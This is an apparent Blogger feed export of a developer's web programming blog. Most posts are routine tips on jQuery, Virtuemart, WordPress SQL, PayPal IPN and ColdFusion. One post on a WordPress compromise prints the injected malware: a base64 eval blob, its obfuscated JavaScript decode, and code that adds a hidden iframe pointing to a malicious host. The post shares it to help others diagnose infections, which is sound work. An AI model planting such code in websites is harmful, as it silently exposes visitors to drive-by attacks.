tag:blogger.com,1999:blog-77668210732186400792024-03-17T20:03:20.566-07:00CodePyroa blog about programming, ideas, and interesting techJosh Tischer :: CodePyrohttp://www.blogger.com/profile/00151801163744004941noreply@blogger.comBlogger74125tag:blogger.com,1999:blog-7766821073218640079.post-15569526987943460022014-04-02T19:30:00.003-07:002014-04-02T19:34:23.140-07:00jQuery load causes IE 10/11 to crashIf you are getting crashing errors in IE 10 and 11 that say that the domain is not responding with a button to "recover webpage".<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbOsR-v1FgVtjO1YSVBLylAVQb9x74h4t0XVS0Qa3qj2ULkaPARAHNJ0Go5tvmSqnX2eToUxQnFI3cwFT79b7mP6IlIwnPPKHeoOM3jFjEEurVnsaVvlHM9tGXedZnvD83OlwDoSL7SgQ/s1600/no+responding.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbOsR-v1FgVtjO1YSVBLylAVQb9x74h4t0XVS0Qa3qj2ULkaPARAHNJ0Go5tvmSqnX2eToUxQnFI3cwFT79b7mP6IlIwnPPKHeoOM3jFjEEurVnsaVvlHM9tGXedZnvD83OlwDoSL7SgQ/s1600/no+responding.jpg" height="21" width="320" /></a></div>
<br />
<br />
Look for two things, I am certain there are more out there, so feel free to let me know if you find any others.<br />
<br />
1. jQuery calls to the load function $('someimage').load( NEW_IMAGE_URL,function(){ });<br />
<br />
If you find these just replace them with a simple attr update like so<br />
$('someimage').attr('src', NEW_IMAGE_URL);<br />
<br />
2. IE has trouble with the console so make sure to remove or test the browser before using console.log();Josh Tischer :: CodePyrohttp://www.blogger.com/profile/00151801163744004941noreply@blogger.com2tag:blogger.com,1999:blog-7766821073218640079.post-28624923622736853372014-02-10T16:44:00.001-08:002014-03-14T07:52:14.537-07:00Virtuemart 2 - How to remove SEO Suffix from Product Details aka -detailIf your using Virtuemart 2+ it requires you to use a -detail or .html as a suffix for product pages. Which really sucks if you are use to using SH404sef or some other plugin that will correctly re-route your URLs and make them nice. SH404sef no longer works with Virtuemart thus we are stuck with the default router. Here is how I fixed the router.php (included at the bottom for your downloading pleasuere)<br />
<div>
<br /></div>
<div>
Since there is not a plugin I dove into the router.php and made some simple quick fixes to ignore the SEO_Suffix and load products.</div>
<div>
<br /></div>
<pre class="brush: plain">Around line 633
Code looked for categories in the last segment
$vars['virtuemart_category_id'] = $helper->getCategoryId (end($segments) ,$helper->activeMenu->virtuemart_category_id);
$vars['view'] = 'category' ;
</pre>
Changed to
<br />
<pre class="brush: plain">$product = $helper->getProductId($segments ,$helper->activeMenu->virtuemart_category_id);
$vars['virtuemart_product_id'] = $product['virtuemart_product_id'];
$vars['virtuemart_category_id'] = $product['virtuemart_category_id'];
//codepyro - removed suffix from router
//check if the last segment is a product.
//if so then load the product details page instead of category
if(isset($vars['virtuemart_product_id']))
{
$vars['view'] = 'productdetails';
}
else
{
$vars['virtuemart_category_id'] = $helper->getCategoryId (end($segments) ,$helper->activeMenu->virtuemart_category_id);
$vars['view'] = 'category' ;
}</pre>
<pre class="brush: plain"></pre>
<pre class="brush: plain">Around line 943</pre>
<pre class="brush: plain">//codepyro hack to remove suffix
if($this->seo_sufix_size >0)
$productName = substr($productName, 0, -(int)$this->seo_sufix_size );
</pre>
<div>
<br /></div>
<div>
You can download the updated router.php for Virtuemart 2.0.26d </div>
<div>
<a href="http://labs.codepyro.com/virtuemart2/router_removed_SEO_Suffix.zip">http://labs.codepyro.com/virtuemart2/router_removed_SEO_Suffix.zip</a></div>
<div>
<br /></div>
<div>
upload and replace the file </div>
<div>
/components/com_virtuemart/router.php<br />
<br /></div>
<b><span style="color: red;">updated 3.14.14</span></b> - I didn't realize that the site I had made these adjustments to all of the categories were set as menu items which of course makes a big difference. Anyway the zip file has been updated with the latest router. Josh Tischer :: CodePyrohttp://www.blogger.com/profile/00151801163744004941noreply@blogger.com70tag:blogger.com,1999:blog-7766821073218640079.post-39654058302888585122013-10-17T15:50:00.001-07:002013-10-17T15:50:48.456-07:00jQuery UI accordion Scroll to topWhen your jquery accordion has alot of content it tends to scroll the user toward the bottom of the page. If you want to scroll back to the top of the section they opened change your js to look like-a-so.
<br />
<pre class="brush: plain">$(".accordion").accordion({
activate: function(event, ui){
var scrollTop = $(".accordion").scrollTop();
var top = $(ui.newHeader).offset().top;
//do magic to scroll the user to the correct location</pre>
<pre class="brush: plain"> //works in IE, firefox chrome and safari
<b> $("html,body").animate({ scrollTop: scrollTop + top -35 }, "fast");</b>
},
heightStyle: 'content' ,
active: false,
});
</pre>
Josh Tischer :: CodePyrohttp://www.blogger.com/profile/00151801163744004941noreply@blogger.com3tag:blogger.com,1999:blog-7766821073218640079.post-56940585576285043212013-09-17T10:00:00.000-07:002013-09-18T09:46:24.720-07:00How to find all your missing or broken images in Virtuemart If your store has changed servers or you are just having some file backup issues and are missing your images here is a quick script to tell you which images are broken in virtuemart. This php script could easily be modified for other websites, stores, or tables.<br />
<br />
Just change a few variables, upload and it will list out all of your missing product photos. Even with an edit link to help you fix them faster!<br />
<br />
<br />
<pre class="brush: plain"> /**
Joomla 1.5 - virtuemart 1.9
lists product large images that are missing and need to be re-uploaded
Thumbnails are auto generated so its not an issue to look for them.
could be easily modified for other datbases/content i.e. categories
*/
//database variables - copy from your configuration.php
$user = '';
$db = '';
$password = '';
$host = 'localhost';
$editurl ='https://www.DOMAIN.com/administrator/index.php?page=product.product_form&limitstart=0&keyword=&product_parent_id=&option=com_virtuemart&product_id=';
//make sure you edit your full path here
$filepath ='/home/DOMAIN/public_html/components/com_virtuemart/shop_image/product';
echo "file location:".$filepath."<br><br>";
if (!$link = mysql_connect($host, $user, $password)) {
echo 'Could not connect to mysql';
exit;
}
if (!mysql_select_db($db, $link)) {
echo 'Could not select database';
exit;
}
//database query for the fields we need
$sql = 'SELECT product_id,product_full_image, product_name FROM jos_vm_product';
$result = mysql_query($sql, $link);
if (!$result) {
echo "DB Error, could not query the database\n";
echo 'MySQL Error: ' . mysql_error();
exit;
}
while ($row = mysql_fetch_assoc($result))
{
$filename = $filepath.'/'.$row['product_full_image'];
//output the file name and edit link if the file is missing
if(!file_exists($filename))
{
echo $row['product_full_image']. ' - '.$row['product_name'] ;
echo ' <a href="'.$editurl.$row['product_id'] .'" target="_blank">edit</a><br>';
}
}
mysql_free_result($result);
exit();
</pre>
Josh Tischer :: CodePyrohttp://www.blogger.com/profile/00151801163744004941noreply@blogger.com1tag:blogger.com,1999:blog-7766821073218640079.post-40109240378502148712013-07-23T13:13:00.002-07:002013-07-23T13:13:19.496-07:00How to search a wordpress database for shortcodesMySQL can regex sweetness!<br />
<br />
here is how to search wordpress posts for shortcodes
today we are searching for the shortcode<br />
<br />
[auction startbid:250] or [auction startbid:100] etc so we can use regex to find all the shortcodes with various amounts.
<br />
<pre class="brush: plain">select * from wp_posts where
post_content REGEXP '\[auction startbid:[0-9]+\]'
</pre>
Josh Tischer :: CodePyrohttp://www.blogger.com/profile/00151801163744004941noreply@blogger.com3tag:blogger.com,1999:blog-7766821073218640079.post-36097363408838452432013-05-02T11:27:00.000-07:002013-05-02T11:27:44.346-07:00e-Commerce PCI compliance Merchant accounts like Authorize.net are now requiring customers to become PCI compliant for e-commerce. Even if you are using an event registration software like event espresso for wordpress you will be required to go through this process.<br />
<br />
My advise - use a HOSTED checkout .....<br />
<br />
There are really only 2 ways to become PCI compliant. Here are the run downs of each.<br />
<br />
<ol>
<li>Use
a hosted checkout like Authorize.net SIM or Paypal Standard Customer
goes outside of the website to submit their information then gets
returned to the website. This method is the most cost effective. It
allows you to keep the cheaper hosting and not pay for services like
security metrics. <br />
<br />Here is a picture that explains it.<br /><a href="http://developer.authorize.net/api/howitworks/sim/" target="_blank">http://developer.authorize.<wbr></wbr>net/api/howitworks/sim/</a></li>
<li>Change
hosting to a Virtual Private Server or Dedicated host which is severe
overkill for the online business you are running. Generally it costs
between $50-$75+ for a VPS and even more for a Dedicated server. Along
with the different server we would need to purchase and install a wild
card SSL for all services (email, ftp, etc) around ~$100. <br />
<br /> Then once all of that is completed we run security metrics scans
(these take 12ish hours) review the issues and work with the hosting
support team to complete the changes. Generally there are several rounds
of back and forth until its compliant. The PCI compliance scan rules to
change occasionally to keep up with software updates and security
holes. <br />
</li>
</ol>
<br />
As you can see option 2 becomes expensive quickly so I
wanted you to be able to make an informed decision.<br />
<br />
The question really
becomes how much does hosted checkout bother you and your customers?<br />
And
are we selling enough to make this worth while?<br />
<br />
<br />
Of course all of this is for the website, if you process and
store credit cards in house you will need to be PCI compliant there as
well. <br />
Josh Tischer :: CodePyrohttp://www.blogger.com/profile/00151801163744004941noreply@blogger.com0tag:blogger.com,1999:blog-7766821073218640079.post-80758280770188904022013-03-12T13:54:00.003-07:002013-03-12T13:56:33.807-07:00How to Show/Hide Wpcommerce Shopping Cart WidgetUsing jQuery you can very quickly setup functionality to show & hide the cart widget in wpcommerce. Just add the below snippet to the wpsc-cart_widget.php in your template override file at the top. Blam, done.<br />
<br />
When the customer clicks on add to cart button, the widget will show and be updated with the new price. When the user clicks clear cart, it hides.<br />
<br />
Simple.
The second part automatically hides the cart when its empty. This could also be done with CSS.
<br />
<pre class="brush: plain"><script type="text/javascript">
jQuery(function(){
jQuery('.wpsc_buy_button').click(function(){
jQuery('.widget_wpsc_shopping_cart').show();
});
jQuery('.emptycart').click(function(){
jQuery('.widget_wpsc_shopping_cart').hide();
});
})
</script>
<?php if(wpsc_cart_item_count() <= 0)
{ ?>
<script type="text/javascript">
jQuery(function(){
jQuery('.widget_wpsc_shopping_cart').hide();
})
</script>
<?php } ?>
</pre>
Josh Tischer :: CodePyrohttp://www.blogger.com/profile/00151801163744004941noreply@blogger.com0tag:blogger.com,1999:blog-7766821073218640079.post-3394655545331253412013-01-24T22:35:00.002-08:002013-01-24T22:35:26.763-08:00Fedex 2 Day Shipping always costs $11.83 issueDiscovered a really bothersome issue with fedex, for random zip codes all over the US it returns the same shipping rate of $11.83 for FEDEX_2_DAY shipping. These zip codes were talking about random places like South Dakota, Colorado, Arizona to name a few. <br />
<br />
If you have Fedex shipping, you may want to start watching the calculations on the 2 Day shipping. I am still not totally convinced that its not only just an issue with this particular fedex production account. I have sent support a request, and will update this post with the findings.<br />
<br />
To confirm that the issue was not just code in joomla/virtuemart I downloaded and setup the Fedex example api code and ran tests with versions 9,10, & 13 all in production. <br />
<br />
<br />
Here is the link to the Fedex Developer resources and api<br />
<a href="https://www.fedex.com/wpor/web/jsp/drclinks.jsp?links=wss/getstarted.html">https://www.fedex.com/wpor/web/jsp/drclinks.jsp?links=wss/getstarted.html</a><br />
<br />
There is a link on this page for the "<a href="http://images.fedex.com/us/developer/product/WebServices/MyWebHelp/DeveloperGuide2012.pdf">Web Services Developer Guide</a>" but its really hard to see/find due to its styling, so here is that link too.<br />
<br />Josh Tischer :: CodePyrohttp://www.blogger.com/profile/00151801163744004941noreply@blogger.com2tag:blogger.com,1999:blog-7766821073218640079.post-4888197902626483692012-10-26T02:18:00.003-07:002012-10-26T02:18:13.667-07:00Quick RegEx snippet for filtering WordPress generated thumbnailsuse this little snippet to filter out Wordpress generated thumbnail images. This is useful for wp-commerce and other sites with tons of images that need their thumbnails re-generated<br />
<br />
<pre class="brush: plain">([0-9]+x[0-9]+)</pre>
Josh Tischer :: CodePyrohttp://www.blogger.com/profile/00151801163744004941noreply@blogger.com0tag:blogger.com,1999:blog-7766821073218640079.post-62898658399872931442012-09-19T19:09:00.000-07:002012-09-19T19:10:23.714-07:00Best Practices for Coding HTML Emails<br />
Design Tips for Email Newsletters - The big things to look out for when designing or coding an email. <br />
<ul>
<li>Background Images don't work for email clients, you may use a solid background color behind live text. </li>
<li>Image Maps cannot be used and are not compatible with many email clients</li>
<li>Width 600px</li>
<li>all images need style="display:block" for gmail and some other web based clients. </li>
<li>No Javascript EVER</li>
<li>Inline CSS only and must be basic things like fonts, colors, background colors etc CSS2&3 styles do not apply and cause problems</li>
</ul>
To be compatible with as many email clients as possible the design
created will be sliced and built in HTML table tags. You need to
design the html for 10 years ago, yep email clients are old and janky
and love nested tables and hate divs and CSS.<br />
<br />
<br />Josh Tischer :: CodePyrohttp://www.blogger.com/profile/00151801163744004941noreply@blogger.com3tag:blogger.com,1999:blog-7766821073218640079.post-33731268019819131962012-06-19T17:36:00.000-07:002012-06-19T17:36:42.672-07:00Virtuemart Orders Report By CategoryAttached is a custom add-on report for <a href="http://affiliate.interamind.com//idevaffiliate.php?id=133">InteraMind Reports</a>.<br />
<br />
This report finds all of the orders within a date range and outputs the persons name, product information and the Root/Base Category from each product they ordered.<br />
<br />
This is a handy report and allows for us to easily import these customers name & email into our preferred email marketing software.<br />
<br />
For Example if I made an order with 2 items<br />
<br />
<pre class="brush: plain">Computers -> CPU -> Intel i7x
Software -> Business -> Quickbooks 2012
The resulting csv would look like
19 June 2012, CodePyro, info@codepyro.com ,Computers
19 June 2012, CodePyro, info@codepyro.com ,Software</pre>
<br />
<br />
Download the <a href="http://labs.codepyro.com/samples/virtuemartOrdersReportByCategory.zip">Virtuemart Orders Report By Category</a> InteraMind ReportsJosh Tischer :: CodePyrohttp://www.blogger.com/profile/00151801163744004941noreply@blogger.com0tag:blogger.com,1999:blog-7766821073218640079.post-38192366699212181872012-05-09T15:59:00.001-07:002012-05-09T15:59:29.931-07:00Breezing Forms Emailed CSV attachment Field sort orderIn the latest version of Breezing Forms the email notification with CSV attachment is an awesome feature. I really enjoy that component for joomla its incredible and makes my job much easier.<br />
<br />
Today's request and issue that bugs me is that they sort the fields in the CSV instead of leaving them as in defined in the admin.<br />
example<br />
EXAM1_QUESTION1. EXAM1_QUESTION10,EXAM1_QUESTION11, EXAM1_QUESTION2<br />
<br />
This is annoying; To Solve<br />
<br />
Edit lines 4391 and 4401<br />
comment out ksort($fields);Josh Tischer :: CodePyrohttp://www.blogger.com/profile/00151801163744004941noreply@blogger.com1tag:blogger.com,1999:blog-7766821073218640079.post-1857028747599209192012-05-01T07:13:00.002-07:002012-05-01T07:13:52.559-07:00How to Track FB likes in Google AnalyticsGoogle recently released some upgrades for Google Analytics that will track your social interactions. This is great information and allows you to track interesting things like a FB share that leads to an e-commerce sale. <br /><br />Here is google's <a href="https://developers.google.com/analytics/devguides/collection/gajs/gaTrackingSocial%20">How To document </a><br />https://developers.google.com/analytics/devguides/collection/gajs/gaTrackingSocial <br /><br />And some more information about each <a href="http://support.google.com/analytics/bin/answer.py?hl=en&answer=1316556">social report</a><br />http://support.google.com/analytics/bin/answer.py?hl=en&answer=1316556<br /><br />Ill have to upgrade my social sharing and see how it works.. stay tunedJosh Tischer :: CodePyrohttp://www.blogger.com/profile/00151801163744004941noreply@blogger.com1tag:blogger.com,1999:blog-7766821073218640079.post-36160010122219713962012-04-30T14:59:00.001-07:002012-08-08T15:38:31.769-07:00Replace Test urls in Wordpress to live using phpmyadminJust a quick help snippet for those of us who test wp websites on a test domain before moving them to a live url.<br />
<br />
This issue arises when using a test domain for building a site and uploaded images, pdfs etc link to the test domain. When you make the website live the links still point to the old url in each and every post and page. Here is a quick SQL snippet to replace those old urls.<br />
<br />
<pre class="brush: plain"> UPDATE wp_posts
SET guid =
REPLACE(
guid,
"http://TestDomain/",
"http://www.LiveDomain.com/"
);
UPDATE wp_posts
SET post_content =
REPLACE(
post_content,
"http://TestDomain/",
"http://www.LiveDomain.com/"
);
update wp_options
set option_value =
replace(
option_value,
"http://TestDomain/",
"http://www.LiveDomain.com/"
); </pre>Josh Tischer :: CodePyrohttp://www.blogger.com/profile/00151801163744004941noreply@blogger.com2tag:blogger.com,1999:blog-7766821073218640079.post-59801810786154816812012-04-05T23:54:00.000-07:002012-04-05T23:54:44.858-07:00PHP simple Paypal IPNTo setup a quick Paypal IPN <br />
<br />
This quicky uses the code from <br />
http://code.google.com/p/paypal-ipn-class-php/<br />
<br />
Download code; unzip; place in site;<br />
<br />
Next create your Paypal Button form. Make sure it Posts to paypal.php.<br />
Use <i>paypal.php?sandbox=1</i> to test in the sandbox<br />
<br />
<pre class="brush: plain"><form action="paypal.php?sandbox=1" method="post">
<input type="hidden" name="cmd" value="_xclick">
<input type="hidden" name="business" value="PAYPAL EMAIL ADDRESS">
<input type="hidden" name="lc" value="US">
<input type="hidden" name="item_name" value="Stuff">
<input type="hidden" name="item_number" value="123">
<input type="hidden" name="amount" value="2.99">
<input type="hidden" name="currency_code" value="USD">
<input type="hidden" name="button_subtype" value="services">
<input type="hidden" name="no_note" value="1">
<input type="hidden" name="no_shipping" value="1">
<input type="image" src="https://www.paypalobjects.com/en_US/i/btn/btn_buynowCC_LG.gif" border="0" name="submit" alt="PayPal - The safer, easier way to pay online!">
<img alt="" border="0" src="https://www.paypalobjects.com/en_US/i/scr/pixel.gif" width="1" height="1">
</form>
</pre><br />
Next make sure you change the 2 settings for the emails and ADD the line for the SMTP server<br />
<br />
<br />
<br />
<pre class="brush: plain"> define('EMAIL_ADD', 'PAYPALEMAIL'); // For system notification.
define('PAYPAL_EMAIL_ADD', 'PAYPALEMAIL');
ini_set("SMTP", "mail.MAILSERVER.com");
</pre><br />
Then down on line 96ish add the fields from your specific form to look like<br />
<pre class="brush: plain">
$p->add_field('business', PAYPAL_EMAIL_ADD); //don't need add this item. if your set the $p -> paypal_mail.
$p->add_field('return', $this_script.'?action=success');
$p->add_field('cancel_return', $this_script.'?action=cancel');
$p->add_field('notify_url', $this_script.'?action=ipn');
$p->add_field('item_name', $_POST['item_name']);
$p->add_field('item_number', $_POST['item_number']);
$p->add_field('lc', $_POST['lc']);
$p->add_field('amount', $_POST['amount']);
$p->add_field('cmd', '_xclick');
$p->add_field('rm', '2'); // Return method = POST
</pre>Josh Tischer :: CodePyrohttp://www.blogger.com/profile/00151801163744004941noreply@blogger.com2tag:blogger.com,1999:blog-7766821073218640079.post-72705257272676933282012-03-13T21:40:00.000-07:002012-03-13T21:40:40.898-07:00mysql replace string<pre class="brush: plain">update jos_vm_product
set product_name = REPLACE(product_name,'OLD TEXT','NEW TEXT')
</pre>Josh Tischer :: CodePyrohttp://www.blogger.com/profile/00151801163744004941noreply@blogger.com2tag:blogger.com,1999:blog-7766821073218640079.post-67216268043286226342012-02-24T05:07:00.000-08:002012-02-24T05:07:57.764-08:00Gradient Generator tool - ROCKSThe dev team behind the <a href="http://www.colorzilla.com/gradient-editor/">colorzilla gradient editor </a> need a bunch of Kudos, this tool works really well for generating CSS gradients of any shape and size. I really like how they allow you to paste hex colors into the editor from photoshop!<br />
<br />
THANK YOU - colorzilla peoples!!Josh Tischer :: CodePyrohttp://www.blogger.com/profile/00151801163744004941noreply@blogger.com1tag:blogger.com,1999:blog-7766821073218640079.post-1464236434591965102012-02-23T14:58:00.001-08:002012-02-23T15:03:19.332-08:00Wordpress index.php hacked iframe points to ksenzfhvcb.dns1.usSeveral Wordpress sites were hacked today with an insert into the index.php. I have not yet figured out How it happened, and will post when/if I figure it out.<br />
<br />
Here was the hacked/added text<br />
<pre class="brush: plain">eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOw0KJGJvdCA9IEZBTFNFIDsNCiR1YSA9ICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsNCiRib3RzVUEgPSBhcnJheSgnMTIzNDUnLCdhbGV4YS5jb20nLCdhbm9ueW1vdXNlLm9yZycsJ2JkYnJhbmRwcm90ZWN0LmNvbScsJ2Jsb2dwdWxzZS5jb20nLCdib3QnLCdidXp6dHJhY2tlci5jb20nLCdjcmF3bCcsJ2RvY29tbycsJ2RydXBhbC5vcmcnLCdmZWVkdG9vbHMnLCdodG1sZG9jJywnaHR0cGNsaWVudCcsJ2ludGVybmV0c2Vlci5jb20nLCdsaW51eCcsJ21hY2ludG9zaCcsJ21hYyBvcycsJ21hZ2VudCcsJ21haWwucnUnLCdteWJsb2dsb2cgYXBpJywnbmV0Y3JhZnQnLCdvcGVuYWNvb24uZGUnLCdvcGVyYSBtaW5pJywnb3BlcmEgbW9iaScsJ3BsYXlzdGF0aW9uJywncG9zdHJhbmsuY29tJywncHNwJywncnJycnJycnJyJywncnNzcmVhZGVyJywnc2x1cnAnLCdzbm9vcHknLCdzcGlkZXInLCdzcHlkZ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YyTmpKMk5qWjJOalIyTmpWMk56ZDJNSFkxZGpCMk1UQjJPWFl3ZGpKMk1qQjJMVE13ZGkwek1IWXRNekIyTmpGMk56SjJOakIyTnpoMk56QjJOakoyTnpGMk56ZDJOM1kyTkhZMk1uWTNOM1l6TUhZMk9YWTJNblkzTUhZMk1uWTNNWFkzTjNZM05uWXlOM1k0TW5ZME5YWTFPSFkyTkhZek9YWTFPSFkzTUhZMk1uWXhkakIyTlRsMk56SjJOakYyT0RKMk1IWXlkalV5ZGpsMk5UUjJOM1kxT0hZM00zWTNNM1kyTW5ZM01YWTJNWFl5T0hZMk5YWTJOblkyT1hZMk1YWXhkall6ZGpKMk1qQjJMVE13ZGkwek1IWTROaWN1YzNCc2FYUW9KM1luS1R0dFpEMG5ZU2M3WlQxM2FXNWtiM2RiSjJVbkt5ZDJZV3duWFR0M1BXWTdjejBuSnp0bWNqMG5aaWNySjNKdkp5c25iU2NySjBOb1lYSW5PM0k5YzNOYlpuSXJKME52WkdVblhUdG1iM0lvYVQwd095MXBQaTEzTG14bGJtZDBhRHRwS3lzcGUybzlhVHR6UFhNcmNpZ3pPU3N4S25kYmFsMHBPMzBLYVdZb1lXRXVhVzVrWlhoUFppaGhZV0VwSVQwOUxURXBDbVVvY3lrN1BDOXpZM0pwY0hRKycpKTsNCn0='));
</pre><br />
<br />
First Translation<br />
<pre class="brush:plain">if(window['d'+'o'+'c'+'u'+'m'+'e'+'nt'])aa=/\w/.exec(new Date()).index+[];aaa='0';try{new document();}catch(qqq){ss=String;}if(aa.indexOf(aaa)!==-1)
f='-30v-30v66v63v-7v1v61v72v60v78v70v62v71v77v7v64v62v77v30v69v62v70v62v71v77v76v27v82v45v58v64v39v58v70v62v1v0v59v72v61v82v0v2v52v9v54v2v84v-30v-30v-30v66v63v75v58v70v62v75v1v2v20v-30v-30v86v-7v62v69v76v62v-7v84v-30v-30v-30v61v72v60v78v70v62v71v77v7v80v75v66v77v62v1v-5v21v66v63v75v58v70v62v-7v76v75v60v22v0v65v77v77v73v19v8v8v68v76v62v71v83v63v65v79v60v59v7v61v71v76v10v7v78v76v8v61v8v13v9v13v7v73v65v73v24v64v72v22v10v0v-7v80v66v61v77v65v22v0v10v9v0v-7v65v62v66v64v65v77v22v0v10v9v0v-7v76v77v82v69v62v22v0v79v66v76v66v59v66v69v66v77v82v19v65v66v61v61v62v71v20v73v72v76v66v77v66v72v71v19v58v59v76v72v69v78v77v62v20v69v62v63v77v19v9v20v77v72v73v19v9v20v0v23v21v8v66v63v75v58v70v62v23v-5v2v20v-30v-30v86v-30v-30v63v78v71v60v77v66v72v71v-7v66v63v75v58v70v62v75v1v2v84v-30v-30v-30v79v58v75v-7v63v-7v22v-7v61v72v60v78v70v62v71v77v7v60v75v62v58v77v62v30v69v62v70v62v71v77v1v0v66v63v75v58v70v62v0v2v20v63v7v76v62v77v26v77v77v75v66v59v78v77v62v1v0v76v75v60v0v5v0v65v77v77v73v19v8v8v68v76v62v71v83v63v65v79v60v59v7v61v71v76v10v7v78v76v8v61v8v13v9v13v7v73v65v73v24v64v72v22v10v0v2v20v63v7v76v77v82v69v62v7v79v66v76v66v59v66v69v66v77v82v22v0v65v66v61v61v62v71v0v20v63v7v76v77v82v69v62v7v73v72v76v66v77v66v72v71v22v0v58v59v76v72v69v78v77v62v0v20v63v7v76v77v82v69v62v7v69v62v63v77v22v0v9v0v20v63v7v76v77v82v69v62v7v77v72v73v22v0v9v0v20v63v7v76v62v77v26v77v77v75v66v59v78v77v62v1v0v80v66v61v77v65v0v5v0v10v9v0v2v20v63v7v76v62v77v26v77v77v75v66v59v78v77v62v1v0v65v62v66v64v65v77v0v5v0v10v9v0v2v20v-30v-30v-30v61v72v60v78v70v62v71v77v7v64v62v77v30v69v62v70v62v71v77v76v27v82v45v58v64v39v58v70v62v1v0v59v72v61v82v0v2v52v9v54v7v58v73v73v62v71v61v28v65v66v69v61v1v63v2v20v-30v-30v86'.split('v');md='a';e=window['e'+'val'];w=f;s='';fr='f'+'ro'+'m'+'Char';r=ss[fr+'Code'];for(i=0;-i>-w.length;i++){j=i;s=s+r(39+1*w[j]);}
if(aa.indexOf(aaa)!==-1)
e(s);
</pre><br />
<br />
<br />
<br />
<br />
Then it next translates too the javascript that adds an iframe to the html page. <br />
<pre class="brush: plain">if (document.getElementsByTagName('body')[0])
{ iframer(); }
else
{ document.write("<iframe src='http://ksenzfhvcb.dns1.us/d/404.php?go=1' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
}
function iframer()
{
var f = document.createElement('iframe');f.setAttribute('src','http://ksenzfhvcb.dns1.us/d/404.php?go=1');
f.style.visibility='hidden';
f.style.position='absolute';
f.style.left='0';
f.style.top='0';
f.setAttribute('width','10');
f.setAttribute('height','10');
document.getElementsByTagName('body')[0].appendChild(f);
}
</pre>Josh Tischer :: CodePyrohttp://www.blogger.com/profile/00151801163744004941noreply@blogger.com0tag:blogger.com,1999:blog-7766821073218640079.post-56472213800134974912012-02-21T17:25:00.000-08:002012-09-15T16:46:00.249-07:00Export 100K+ records to Excel using ColdFusionLately I have been building a contact manager in coldfusion 8 for a customer with hundreds of thousands of records. They needed to be able to import, search, sort & export their contacts from excel .xls files. Using Ben Nadel's <a href="http://www.bennadel.com/projects/poi-utility.htm">POI utility</a> is awesome for excel files with hundreds of rows. When you start to deal with more than that it becomes very troublesome, lots of timeout errors, 500 jRun memory stack issues etc. I need to add a part 2 of this post for the Import and how I got around those problems. <br />
<br />
If you are able to, use MsSQL DTS packages instead to do the import/export (much more efficient). In a shared environment this is impossible, we have to do it asynchronously (*challenge accepted!*).<br />
<br />
First of all I tried to use a cfcontentvariable to save the string of outputted text to write the file using cffile. Even with 1000 records this process ran too long and failed. After some googling I found Raymond Camden's blog about writing large amounts of data to a file which added a nice solution (<a href="http://www.raymondcamden.com/index.cfm/2011/2/8/Comparing-different-ways-of-writing-out-large-amounts-of-data">Read It NOW</a>). In this article he compares and explains several different ways of writing data. I chose to use the method #2 fileOpen, because its really FAST!! (well alot more than cffile). <br />
<br />
Ill attach the example in full, but here are some excerpts that show the key pieces.<br />
<br />
On the first run, the export creates the initial file, adds the header html table that is used to write the .XLS file.<br />
<br />
<pre class="brush: plain"><cfset filepath=ExpandPath( "tmp/Contacts Export.xls" )/>
<cfset contentLine=""/>
<cfif isFirstRun eq true >
<!--- write the header and inital X records to the xls file --->
<!---ensure that on the first run the file is Overwritten--->
<cfif FileExists(filepath)>
<cfset FileDelete(filepath)/>
</cfif>
<!---open the file object--->
<cfset fileObj = fileOpen(filepath,"write")/>
<!---create the xls header--->
<cfset contentHeader ='<table border="1"><thead align="center"><th>FirstName</th><th>LastName</th><th>email</th><th>City</th><th>State</th><th>categoryList</th><th>entity</th><th>phone</th><th>type</th><th>resource</th></thead>'>
<cfset fileWriteLine(fileObj, contentHeader)>
<cfset fileClose(fileObj)>
</cfif>
</pre><br />
<br />
After the Header is written, 10,000 records are then appended as a string and then written to the file. Once this process is completed AND there are more records to process, the page is automatically refreshed either by an html button or javascript window.location. Each iteration appends 10K records to the excel file. Depending upon the server, it may be able to handle 20K or more. <br />
<br />
<pre class="brush: plain"><!---re-open up the file for writing the rest of the contacts--->
<cfset fileObj = fileOpen(filepath,"append")/>
<!---create the string of data from the query--->
<cfloop query="qcontacts" startrow="#url.recordsProcessed#" endrow="#maxRows#" >
<cfset contentLine &= '<tr align="left"><td>#FirstName#</td><td>#LastName#</td><td>#email#</td></tr>'/>
</cfloop>
<!---write this bulk entry into the xls file--->
<cfset fileWriteLine(fileObj, contentLine)>
<cfset fileClose(fileObj)>
</pre><br />
This process works pretty well for hundreds of thousands of records, but not millions. It takes about 3-4 minutes to write 200K records to an excel sheet. Not ideal and not the most elegant, but it works. If you have improvements Please Feel Free to Share!!<br />
<br />
<a href="http://labs.codepyro.com/coldfusion/exportXLS-100K.cfm.txt"><br />
Full Source example</a> <br />
<i>*note this is a hacked up version from the project; it has not been tested. </i>Josh Tischer :: CodePyrohttp://www.blogger.com/profile/00151801163744004941noreply@blogger.com1tag:blogger.com,1999:blog-7766821073218640079.post-31434882187809417352012-02-07T17:51:00.000-08:002012-02-07T17:51:52.012-08:00Convert PDFs to JPGsNeed to quickly save each page of a pdf into a jpg?<br />
<br />
<ul>
<li>Open the file in Acrobat <strong>PRO</strong> - and be sure that the Page Thumbnails tray is open.</li>
<li>Highlight all of the Page Thumbnails</li>
<li>Right Click on them to bring up the context menu - select "Extract Pages"</li>
<li>Choose the file location to save all of the exported split pages</li>
</ul><br />
<ul><li>Next use photoshop to open each pdf and save as a jpg or <br />
"save as for web" in my case</li>
<li>This can be done with a batch process by creating a new action set.</li>
</ul>Josh Tischer :: CodePyrohttp://www.blogger.com/profile/00151801163744004941noreply@blogger.com5tag:blogger.com,1999:blog-7766821073218640079.post-87451705922947342712012-02-06T16:36:00.000-08:002012-02-06T16:36:40.930-08:00Copy MySQL db on the same serverNeed to duplicate or backup a db for testing, give this a run.<br />
<br />
You can specify a username and pass for both, but I had trouble with it. SO I just used root.. :)<br />
<pre class="brush: plain">mysqldump -h [server] -u [user] -p[password] DataBaseA | mysql -h [server] DataBaseB
